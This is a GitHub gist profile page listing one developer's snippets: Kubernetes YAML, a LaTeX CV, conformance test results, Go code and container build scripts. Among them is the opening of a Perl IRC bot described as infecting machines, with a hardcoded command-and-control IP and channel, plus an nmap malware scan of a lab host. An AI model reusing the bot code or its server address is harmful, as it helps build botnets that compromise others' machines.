Skip to content

Instantly share code, notes, and snippets.

View dbarranco's full-sized avatar
🌚

David Barranco dbarranco

🌚
View GitHub Profile
@dbarranco
dbarranco / deployment.yaml
Last active December 1, 2021 13:31
ytt double-quoted strings
#@ load("@ytt:data", "data")
---
apiVersion: apps/v1
kind: Deployment
metadata:
name: one
labels:
app: web
spec:
replicas: 2
@dbarranco
dbarranco / cv.tex
Created September 26, 2018 20:41
latex cv
%Section: Education
\section{Education}
\begin{tabular}{rl}
\textsc{2012} - current & Bachelor degree in \textsc{Computer Science}, \textbf{University of Seville}, Seville\\
&\\
\textsc{2010} - 2012& Master Degree at \textbf{University of Southern California}, Los Angeles\\
&\\
\textsc{July} 2003& \textbf{Liceo Classico ``E. Duni''}, Matera | Final Grade: 100/100
\end{tabular}
@dbarranco
dbarranco / tests.md
Created September 16, 2018 17:04
sonobuoy tests over GCP

~ $ jx compliance results
STATUS TEST
PASSED [k8s.io] Docker Containers should be able to override the image's default arguments (docker cmd) [NodeConformance] [Conformance]
PASSED [k8s.io] Docker Containers should be able to override the image's default command (docker entrypoint) [NodeConformance] [Conformance]
PASSED [k8s.io] Docker Containers should be able to override the image's default command and arguments [NodeConformance] [Conformance]
PASSED [k8s.io] Docker Containers should use the image defaults if command and args are blank [NodeConformance] [Conformance]
PASSED [k8s.io] KubeletManagedEtcHosts should test kubelet managed /etc/hosts file [NodeConformance] [Conformance]
PASSED [k8s.io] Pods should allow activeDeadlineSeconds to be updated [NodeConformance] [Conformance]
@dbarranco
dbarranco / main.go
Created August 30, 2018 10:30
main.go
package main
import (
"fmt"
"github.com/gorilla/mux"
"github.com/gorilla/securecookie"
"net/http"
)
// cookie handling
@dbarranco
dbarranco / shellshock.perl
Last active March 9, 2018 09:21
Perl script that infects a machine and make of it a zombie bot.
#!/usr/bin/perl
my @mast3rs = ("z","w","x");
my @hostauth = ("localhost");
my @admchan=("#nou");
my @server = ("167.114.12.84");
$servidor= $server[rand scalar @server] unless $servidor;

Keybase proof

I hereby claim:

  • I am dbarranco on github.
  • I am dbarranco (https://keybase.io/dbarranco) on keybase.
  • I have a public key ASCZV7xVpC_2miJ86rE2KqEjP2DWwtEeQblXEfbUi2iGfAo

To claim this, I am signing this object:

@dbarranco
dbarranco / gist:4523b677c0a88d6c750f45a7bcfa110d
Created January 15, 2018 18:58
nmap malware detection over Metasploitable2
arp4@kali ➜ ~ nmap -v --script "malware" 192.168.159.131
Starting Nmap 7.60 ( https://nmap.org ) at 2018-01-15 13:57 EST
NSE: Loaded 10 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 13:57
Completed NSE at 13:57, 0.00s elapsed
Initiating ARP Ping Scan at 13:57
Scanning 192.168.159.131 [1 port]
Completed ARP Ping Scan at 13:57, 0.22s elapsed (1 total hosts)
package main
import (
"fmt"
)
/*
I'm triyng to get this:
g (graph)
Node A:
#!/usr/bin/env bash
set -e
if [ "$EUID" -ne 0 ]; then
echo "This script uses functionality which requires root privileges"
exit 1
fi
# Start the build with an empty ACI
acbuild --debug begin
[root@linux ~]# apachephp.sh
Beginning build with an empty ACI
Setting name of ACI to example.com/apache-php
Adding dependency "quay.io/coreos/alpine-sh"
Running: [apk update]
Downloading quay.io/coreos/alpine-sh: [========================] 2.65 MB/2.65 MB
fetch http://dl-4.alpinelinux.org/alpine/v3.2/main/x86_64/APKINDEX.tar.gz
v3.2.3-149-gd036522 [http://dl-4.alpinelinux.org/alpine/v3.2/main]
OK: 5294 distinct packages available
Running: [apk add php php-apache2]